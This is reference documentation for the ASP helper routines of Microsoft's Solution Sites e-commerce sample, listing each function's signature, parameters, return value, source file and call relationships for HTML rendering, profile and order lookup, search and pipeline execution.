This function prepares the HTML that will render the search results contained in the passed Recordset object.

Definition

Function RenderSearchResults(
  byVal sPhrase,
  byVal rsResult,
  byVal iRecordCount,
  byVal style
)

Parameters

sPhrase
A string containing the search criteria, to be included in the resulting HTML.
rsResult
A Recordset object containing the search results to include in the resulting HTML.
iRecordCount
A number specifying the number of records in the Recordset object specified by the rsResult parameter, to be included in the resulting HTML.
style
A string containing a space-separated list of "attribute=value" pairs to be passed to the RenderText function as its sAttList parameter, and used as attributes to the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the search results contained in the passed Recordset object.

Defined in File

include\catalog.asp

Routines Called

RenderSearchResultRow

RenderText

Called By

htmRenderFullTextSearchResults


RenderSubmitButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "SUBMIT", and for which other attribute values are supplied by the parameters.

Definition

Function RenderSubmitButton(
  byVal sBtnName,
  byVal sBtnText,
  byVal sAttList
)

Parameters

sBtnName
A string containing a value to be assigned to the NAME attribute.
sBtnText
A string containing a value to be assigned to the VALUE attribute, which will appear as the text of the Submit button.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified Submit button.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderForeignKeyProperty

colRenderPasswordProperty

formRenderOrderSearchOptions

formRenderPagingButtons

formRenderProfileSearchOptions

htmRenderAddressBook

htmRenderBasket

htmRenderCheckoutButton

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

htmRenderPickshipForm

htmRenderSearchSection

htmRenderShippingMethods

htmRenderVerifyWithForm

Main (product.asp)

ShowRefinedSearch

tableChangePasswordTasks

tableRenderEditPageTasks

tableRenderListPageTasks

tableRenderMessageBoxPageButtons

tableRenderOrdersListTasks

tblOrderDetailsTasks


RenderTable - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a TABLE element for which the attributes and content are supplied by the parameters.

Definition

Function RenderTable(
  byVal htmRows,
  byVal sAttList
)

Parameters

htmRows
A string containing the contents of the table, presumably a series of TR elements.
sAttList
A string containing any space-separated "attribute=value" pairs to be included in the starting TABLE tag. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified table.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

formRenderOrderSearchOptions

formRenderProfileSearchOptions

htmRenderAddressRows

htmRenderBasket

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderEmptyRecordSet

htmRenderFillOutForm

htmRenderMenu

htmRenderOrderDetails

htmRenderOrderForm

htmRenderOrderList

htmRenderProductsTable

htmRenderProfilesList

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderSummaryPage

htmRenderVariantsList

tableChangePasswordTasks

tableRenderBlankProfile

tableRenderChangePasswordContents

tableRenderEditPageTasks

tableRenderFooterInfo

tableRenderListPageTasks

tableRenderMessageBoxPage

tableRenderMessageBoxPageButtons

tableRenderMultipleRecords

tableRenderOrdersListContents

tableRenderOrdersListTasks

tableRenderProfiles

tblOrderDetailsTasks

tblRenderOrderDetailsContents


RenderTableDataRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row of data within a table. In other words, a series of TD elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant DATA_ROW, and passing through all other parameters as is.

Definition

Function RenderTableDataRow(
  arrData,
  arrDataAttLists,
  byVal sRowAttList
)

Parameters

arrData
An array of data to be displayed in the row, one array element per table column (TD element). The value Null and an empty string ("") are acceptable values for elements in this array.
arrDataAttLists
An array of strings, where each string contains a space-separated list of "attribute=value" pairs to be included in the corresponding TD element. These strings, if non-empty, must begin with a space character. If the array is not empty, it must have the same number of elements as the array specified by the arrData parameter. If the array is empty, the series of TD elements produced will not have any attributes associated with them.
sRowAttList
A string containing a space-separated list of "attribute=value" pairs to be included in the TR element, thereby affecting the entire row.

Return Value

A string containing the HTML that will render the specified row of data in the table.

Defined in File

include\html_lib.asp

Routines Called

RenderTableRow

Called By

htmRenderAddressRows

htmRenderBasket

htmRenderFillOutForm

htmRenderGrandTotals

htmRenderOrderForm

htmRenderProductsTable

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderSummaryPage

htmRenderVariantsList

Remarks

If table cells have identical alignment (for example, center-aligned), there is no need to align cells individually. Simply specify the alignment for the row in the sRowAttList parameter and set the arrDataAttLists parameter to an empty array.


RenderTableHeaderRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a header row within a table. In other words, a series of TH elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant HEADER_ROW, and passing through all other parameters as is.

Definition

Function RenderTableHeaderRow(
  arrData,
  arrDataAttLists,
  byVal sRowAttList
)

Parameters

arrData
An array of header strings to be displayed in the row, one array element per table column (TH element). The value Null and an empty string ("") are acceptable values for elements in this array.
arrDataAttLists
An array of strings, where each string contains a space-separated list of "attribute=value" pairs to be included in the corresponding TH element. These strings, if non-empty, must begin with a space character. If the array is not empty, it must have the same number of elements as the array specified by the arrData parameter. If the array is empty, the series of TH elements produced will not have any attributes associated with them.
sRowAttList
A string containing a space-separated list of "attribute=value" pairs to be included in the TR element, thereby affecting the entire row.

Return Value

A string containing the HTML that will render the specified header row in the table.

Defined in File

include\html_lib.asp

Routines Called

RenderTableRow

Called By

htmRenderAddressRows

htmRenderBasket

htmRenderOrderForm

htmRenderProductsTable

htmRenderShippingMethods

htmRenderShippingOptionsEx

htmRenderSummaryPage

htmRenderVariantsList

Remarks

If table cells have identical alignment (for example, center-aligned), there is no need to align cells individually. Simply specify the alignment for the row in the sRowAttList parameter and set the arrDataAttLists parameter to an empty array.


RenderTableRow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a header or data row within a table. In other words, a series of either TH or TD elements wrapped in a TR element. It performs the real work for the functions RenderTableHeaderRow and RenderTableDataRow, which hardcode the iRowType parameter to the constants HEADER_ROW and DATA_ROW, respectively, and passing through all other parameters as is.

Definition

Function RenderTableRow(
  arrData,
  arrDataAttLists,
  byVal sRowAttList,
  byVal iRowType
)

Parameters

arrData
An array of header strings or data to be displayed in the row, one array element per table column (either TH or TD elements, depending on the value of the iRowType parameter). The value Null and an empty string ("") are acceptable values for elements in this array.
arrDataAttLists
An array of strings, where each string contains a space-separated list of "attribute=value" pairs to be included in the corresponding TH or TD element. These strings, if non-empty, must begin with a space character. If the array is not empty, it must have the same number of elements as the array specified by the arrData parameter. If the array is empty, the series of TH or TD elements produced will not have any attributes associated with them.
sRowAttList
A string containing a space-separated list of "attribute=value" pairs to be included in the TR element, thereby affecting the entire row.
iRowType
A number which must be set to one of the two constants HEADER_ROW or DATA_ROW, specifying the use of TH or TD tags, respectively.

Return Value

A string containing the HTML that will render the specified header or data row in the table.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

RenderTableDataRow

RenderTableHeaderRow

Remarks

If table cells have identical alignment (for example, center-aligned), there is no need to align cells individually. Simply specify the alignment for the row in the sRowAttList parameter and set the arrDataAttLists parameter to an empty array.


RenderText - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the specified string wrapped in FONT tags, and assigned the specified FONT-specific attributes.

Definition

Function RenderText(
  byVal str,
  byVal sAttList
)

Parameters

str
A string containing the text to be wrapped in FONT tags.
sAttList
A string containing a space-separated list of "attribute=value" pairs to be associated with the FONT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the passed string as specified by the FONT-specific attributes in the sAttList parameter.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

bFullTextResultsAreCached

colRenderPropertyTip

htmCategoryHTML

htmRenderAddressBook

htmRenderAddressBookPage

htmRenderAddressForm

htmRenderAddressRows

htmRenderBasket

htmRenderBasketWarnings

htmRenderBlankEditPage

htmRenderBuiltInProperties

htmRenderCatalogSection

htmRenderCategoryPage

htmRenderChangePasswordPage

htmRenderConfirmationPage

htmRenderCreditCardPage

htmRenderCurrency

htmRenderCustomerServiceSection

htmRenderDefaultPage

htmRenderEditPage

htmRenderFillOutForm

htmRenderFullTextSearchResults

htmRenderLoginPage

htmRenderLoginSection

htmRenderLogoffPage

htmRenderNewUserPage

htmRenderOrderDetails

htmRenderOrderForm

htmRenderOrderList

htmRenderPartnerServiceSection

htmRenderPaymentOptionsForUser

htmRenderPaymentOptionsPage

htmRenderPickshipForm

htmRenderProfilesList

htmRenderSearchDeptPageContent

htmRenderSearchSection

htmRenderShippingMethods

htmRenderStepSearchPageContent

htmRenderSummaryPage

htmRenderUserDefinedProductProperties

Main (addrform.asp)

Main (error\baditem.asp)

Main (error\badurl.asp)

Main (error\closed.asp)

Main (error\construc.asp)

Main (error\noauth.asp)

Main (error\profile.asp)

Main (product.asp)

Main (services\error\badaction.asp)

Main (services\error\noaccess.asp)

Main (services\error\noorder.asp)

Main (services\error\noorgprofile.asp)

Main (services\error\noprofile.asp)

Main (welcome.asp)

RenderBasketPage

RenderCatalogLink

RenderCategoryLink

RenderListFromSimpleList

RenderNavbar

RenderProductLink

RenderSearchResultRow

RenderSearchResults

RenderUnorderedList

rowRenderStatusInfo

ShowRefinedSearch

ShowSearchMatches

tableRenderFooterInfo


RenderTextBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "TEXT", and for which other attribute values are supplied by the parameters.

Definition

Function RenderTextBox(
  byVal sName,
  byVal sValue,
  byVal iSize,
  byVal iMaxLength,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
iSize
A number containing a value to be assigned to the SIZE attribute.
iMaxLength
A number containing a value to be assigned to the MAXLENGTH attribute.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified text box.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderPrimaryKeyProperty

colRenderProperty

colRenderUniqueKeyProperty

formRenderPagingButtons

htmRenderBasket

htmRenderFillOutForm

htmRenderSearchSection

Main (product.asp)

rowRenderAdvancedSearchOptionsForOrders

rowRenderSearchOptionForDate

rowRenderSearchOptionForString


RenderTime - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the current time, appropriately formatted, and is called as part of the error information formatted by the function RenderDetailedInfoList.

Definition

Function RenderTime()

Return Value

A string containing the HTML that will render the current time, appropriately formatted.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderUnorderedList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an unordered list from the data in the passed array. In other words, a series of LI elements wrapped in a UL element.

Definition

Function RenderUnorderedList(
  byVal arrItem,
  byVal sty
)

Parameters

arrItem
An array of data for which each contained element will be wrapped in an LI element.
sty
A string containing a space-separated list of "attribute=value" pairs appropriate for the FONT element, within which each item within the array specified by the arrItem parameter will be wrapped. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the data specified by the arrItem parameter as an unordered list, where the font of each list item is styled as specified by the sty parameter.

Defined in File

include\html_lib.asp

Routines Called

RenderText

Called By

htmRenderOrderForm

Main (error\baditem.asp)

Main (error\badurl.asp)


RenderUnorderedListFromSimpleList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a series of list elements from the data in the passed SimpleList object. In other words, a series of LI elements.

Definition

Function RenderUnorderedListFromSimpleList(
  listItems,
  byVal sAttList
)

Parameters

listItems
A SimpleList object containing the strings to be displayed in the list, one string per list item.
sAttList
A string containing a space-separated list of "attribute=value" pairs appropriate for the LI element, to be associated with each LI element in the resulting string. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the data specified by the listItems parameter as a series of LI elements, which must then be appropriately wrapped outside this function (for example, in an OL or UL element).

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.

Remarks

Despite its name, this function only produces a series of LI elements, and does not wrap them in an UL element. Since the caller must provide this functionality, you could wrap the list in either an OL or an UL element.


rowRenderAdvancedSearchOptionsForOrders - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render advanced search options within the orders form in Partner Services.

Definition

Function rowRenderAdvancedSearchOptionsForOrders(
  byVal dictSearchOptions,
  byVal mscsUserProfile
)

Defined in File

services\include\render_orders.asp

Routines Called

GetRequestString

htmRenderBlankSpaces

RenderTextBox

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

TRTag

Called By

formRenderOrderSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderBlankProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that corresponds to a blank property. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.

An additional row is added if there is an error associated with the property. This second row contains three cells: two blank cells followed by a cell in which a validation failure message can be displayed.

Definition

Function rowRenderBlankProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal sProfileIDs,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

colRenderProperty

rowRenderPropertyTip

sRenderHTMLPreFixForProperty

TRTag

varGetValueFromPropertyDictionaries

varGetValueFromRequestObject

Called By

tableRenderBlankProfile

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderEditSheetBlankLine - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a blank line in an edit sheet table.

Definition

Function rowRenderEditSheetBlankLine()

Defined in File

services\include\render_common.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tableRenderBlankProfile

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderHeader - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function allows you to put a common toolbar (containing, for example, a Help button) at the top of every page. It currently does nothing.

Definition

Function rowRenderHeader()

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderOrderDetails

htmRenderOrderList

htmRenderProfilesList

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderHiddenProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will include hidden properties as INPUT elements with their TYPE attribute set to "HIDDEN".

Definition

Function rowRenderHiddenProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfile,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

Called By

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderLineItemHeader - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the header row for a table of line items in an order.

Definition

Function rowRenderLineItemHeader()

Defined in File

services\include\render_orders.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tblRenderOrderDetailsContents

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderListHeading - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the header row for a table of profile properties, skipping properties that are designated as not to be shown.

Definition

Function rowRenderListHeading()

Defined in File

services\include\render_list.asp

Routines Called

htmRenderBlankSpaces

listCloneProfileSchema

TRTag

Called By

tableRenderMultipleRecords

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderListHeadingForOrders - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the header row for a table of orders.

Definition

Function rowRenderListHeadingForOrders()

Defined in File

services\include\render_orders.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tableRenderOrdersListContents

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderMessageBoxPageContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the contents for the message box page.

Definition

Function rowRenderMessageBoxPageContents(
  byVal arrBody,
  byVal bNumberList
)

Defined in File

services\include\render_messagebox.asp

Routines Called

htmRenderBlankSpaces

TRTag

Called By

tableRenderMessageBoxPage

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that corresponds to a property that is accessible to the current user. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.

An additional row is added if there is an error associated with the property. This second row contains three cells: two blank cells followed by a cell in which a validation failure message can be displayed.

Definition

Function rowRenderProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal rsProfile,
  byVal sProfileIDs,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_common.asp

Routines Called

colRenderPrimaryKeyProperty

colRenderProperty

colRenderUniqueKeyProperty

rowRenderPropertyTip

sRenderHTMLPreFixForProperty

TRTag

varGetPropertyValue

Called By

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderPropertyGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row containing a property group heading.

Definition

Function rowRenderPropertyGroup(
  byVal oProperty
)

Defined in File

services\include\render_edit_common.asp

Routines Called

Bold

htmRenderBlankSpaces

TRTag

Called By

tableRenderBlankProfile

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderPropertyTip - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function examines the specified property, and if found to have an error associated with it, adds a table row that displays an error message in the third of three cells.

Definition

Function rowRenderPropertyTip(
  byVal oProperty,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

colRenderPropertyTip

htmRenderBlankSpaces

TRTag

Called By

rowRenderBlankProperty

rowRenderProperty

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderReadOnlyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that corresponds to a read-only property. This row contains three cells: blank, the display name, and the value, respectively.

An INPUT element of with TYPE attribute set to "HIDDEN" is also added, which also includes the field name and value as the values of the NAME and VALUE attributes, respectively.

Definition

Function rowRenderReadOnlyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal bValidPostedValues,
  byVal sProfileIDs,
  byVal rsProfile
)

Defined in File

services\include\render_edit_common.asp

Routines Called

cellRenderReadOnlyProperty

iGetCountOfProfiles

varGetValueFromRequestObject

Called By

tableRenderBlankProfile

tableRenderProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderSearchOptionForDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a pair of text boxes that correspond to a starting and ending date.

Definition

Function rowRenderSearchOptionForDate(
  byVal oProperty,
  byVal dictSearchOptions
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderBlankSpaces

RenderTextBox

TRTag

Called By

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

Remarks

This function allows searching on properties of type DATETIME.

This function is used only by Partner and/or Customer Services.


rowRenderSearchOptionForInteger - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a list box displaying options appropriate for one of four possible properties: user status, partner services role, order status, and types of dates associated with the order.

Definition

Function rowRenderSearchOptionForInteger(
  byVal sFieldName,
  byVal sDisplayName,
  byVal iFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderUserStatusOptions

TRTag

Called By

rowRenderAdvancedSearchOptionsForOrders

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderSearchOptionForString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a text box for entering a string value for which to search.

Definition

Function rowRenderSearchOptionForString(
  byVal sFieldDisplayText,
  byVal sFieldName,
  byVal bFieldMessage,
  byVal iMaxSize,
  byVal varFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

RenderTextBox

TRTag

Called By

rowRenderAdvancedSearchOptionsForOrders

rowRenderSimpleSearchOptionsForOrders

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderSimpleSearchOptionsForOrders - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render simple search options within the orders form in Partner Services.

Definition

Function rowRenderSimpleSearchOptionsForOrders(
  byVal dictSearchOptions,
  byVal mscsUserProfile
)

Defined in File

services\include\render_orders.asp

Routines Called

rowRenderSearchOptionForString

Called By

formRenderOrderSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rowRenderStatusInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a row in a table that contains one column in which status information is placed based on the values of the parameters.

Definition

Function rowRenderStatusInfo(
  byVal sStatusField,
  byVal iStatusID,
  byVal iProfileCount,
  byVal bDisplayCount
)

Defined in File

services\include\render_common.asp

Routines Called

FormatOutput

GetRequestString

htmRenderBlankSpaces

RenderText

TRTag

Called By

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderOrderList

htmRenderProfilesList

Remarks

This function is used only by Partner and/or Customer Services.


rowsRenderAdvanceSearchOptionsForProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a series of rows in a table where each row allows advanced search criterion for profiles to be specified.

Definition

Function rowsRenderAdvanceSearchOptionsForProfiles(
  byVal dictSearchOptions
)

Defined in File

services\include\render_list.asp

Routines Called

listCloneProfileSchema

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

Called By

formRenderProfileSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rowsRenderSimpleSearchOptionsForProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a series of rows in a table where each row allows simple search criterion for profiles to be specified.

Definition

Function rowsRenderSimpleSearchOptionsForProfiles(
  byVal dictSearchOptions
)

Defined in File

services\include\render_list.asp

Routines Called

listCloneProfileSchema

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

Called By

formRenderProfileSearchOptions

Remarks

This function is used only by Partner and/or Customer Services.


rsFreeTextSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function performs a free text search and returns the results as a Recordset object. The number of records retrieved is set in the iRecordCount parameter.

Definition

Function rsFreeTextSearch(
  byVal sPhrase,
  byVal iStartingRecord,
  byVal iRecordsToRetrieve,
  byRef iRecordCount
)

Defined in File

include\catalog.asp

Routines Called

sUserCatalogsAsString

Called By

Main (search.asp)


rsGetOrderDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the detailed information for the specified order and returns the result as a Recordset object.

Definition

Function rsGetOrderDetails(
  byVal sID
)

Defined in File

services\include\requisition.asp

Routines Called

GetRequestString

Called By

CheckIfOrderExists

htmRenderOrderDetailsForIDs

Remarks

This function is used only by Partner and/or Customer Services.


rsGetOrdersList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves orders based on the specified filter criteria and returns the result as a Recordset object.

Definition

Function rsGetOrdersList(
  byVal dictSearchOptions,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages
)

Defined in File

services\include\requisition.asp

Routines Called

EnsureUserProfile

Called By

PrepareOrderList

Remarks

This function is used only by Partner and/or Customer Services.


rsGetOrgDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves detailed information about the specified organization and returns the result as a Recordset object.

Definition

Function rsGetOrgDetails(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

rsGetProfileByKey

Called By

rsGetProfileDetails

Remarks

This function is used only by Partner and/or Customer Services.


rsGetProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the specified profile and returns it in a Recordset object.

Definition

Function rsGetProfile(
  byVal sProfileID,
  byVal sProfileType,
  byVal bForceDBLookUp
)

Defined in File

include\std_profile_lib.asp

Routines Called

GetProfileFromDB

Called By

bAddUserToGroup

bCheckIfProfileExists

bRemoveUserFromGroup

FetchData (_setadrs.asp)

FetchData (newaddr.asp)

iValidateSubmittedRegistrationData

ValidateSubmittedLoginData

Remarks

The bForceDBLookUp parameter is used to force a database lookup, overruling the value in the variable m_iGlobalProfileLookUpOption.


rsGetProfileByKey - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the profile specified by the passed key name/value pair, and returns it in a Recordset object.

Definition

Function rsGetProfileByKey(
  byVal sKeyName,
  byVal sKeyValue,
  byVal sProfileType,
  byVal bForceDBLookUp
)

Defined in File

include\std_profile_lib.asp

Routines Called

GetProfileFromDB

Called By

GetOrgAttributeFromID

mscsUserCatalogsetID

rsGetOrgDetails

rsGetUserDetails

SaveUserPropertyForID

Remarks

The bForceDBLookUp parameter is used to force a database lookup, overruling the value in the variable m_iGlobalProfileLookUpOption.


rsGetProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves detailed information about the specified user or organization profile and returns the result as a Recordset object. It serves as a dispatch function for the functions rsGetOrgDetails and rsGetUserDetails, which do the real work.

Definition

Function rsGetProfileDetails(
  byVal sProfileIDs
)

Defined in File

services\include\get_profiles.asp

Routines Called

rsGetOrgDetails

rsGetUserDetails

sGetThisPageProperty

Called By

bProfileHasChanged

bSaveProfileAndRedirect

CheckIfProfilesExist

htmRenderChangePasswordPage

htmRenderEditPage

PrepareSaveProfiles

UpdateSelectActionPropertyName

Remarks

This function is used only by Partner and/or Customer Services.


rsGetProfilesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves a set of user profiles based on the specified filter criteria, returning the result as a Recordset object.

Definition

Function rsGetProfilesList(
  byVal dictSearchOptions,
  byRef iTotalRecords
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetQualifiedName

GetTableNameAndWhereClause

listCloneProfileSchema

sConstructWHEREclause

Called By

htmRenderProfilesList

Remarks

This function uses ADO to execute a SQL command directly.

This function is used only by Partner and/or Customer Services.


rsGetShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the available shipping methods using the ShippingMethodManager object, and returning the result in a Recordset object containing columns for the shipping method ID, name, and description, respectively.

Definition

Function rsGetShippingMethods()

Defined in File

pickship.asp

Routines Called

None.

Called By

Main (pickship.asp)

PreparePickShipForm


rsGetUserDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the profile for the specified user, and returns the results in a Recordset object.

Definition

Function rsGetUserDetails(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetCurrentUserProfile

rsGetProfileByKey

Called By

GetUserPropertyFromID

rsGetProfileDetails

UpdateUserPasswordProperty

Remarks

This function is used only by Partner and/or Customer Services.


RsToDict - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a new Dictionary object and populates it with the fields of the current record in the passed Recordset object. The field names are used as the dictionary keys, and the field values are assigned to the corresponding keys.

Definition

Function RsToDict(
  rs
)

Defined in File

include\std_util_lib.asp

Routines Called

GetDictionary

Called By

dictGetInitialFieldValues

Main (_setadrs.asp)


RunMtsPipeline - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function runs one of four pipelines on the passed OrderGroup object: Product, Basket, Total, or Checkout. It establishes the appropriate context dictionary and logging support prior to running the pipeline.

Definition

Function RunMtsPipeline(
  byVal sPipeName,
  byVal sPipeLogName,
  byVal mscsOrderGrp
)

Parameters

sPipeName
A string specifying the type of pipeline to run: Product, Basket, Total, or Checkout.
sPipeLogName
A string specifying the name of the pipeline log file to create, if any.
mscsOrderGrp
A reference to the OrderGroup object for which the pipeline will be run.

Return Value

The number returned by the RunPipe method of the OrderGroup object, indicating whether the pipeline succeeded or failed.

Defined in File

include\std_pipeline_lib.asp

Routines Called

CheckOut

GetCurrentUserProfile

GetDictionary

Called By

CheckBasket

CheckOut

GetBasketDetails

InitializeSummaryPage

PreparePickShipForm

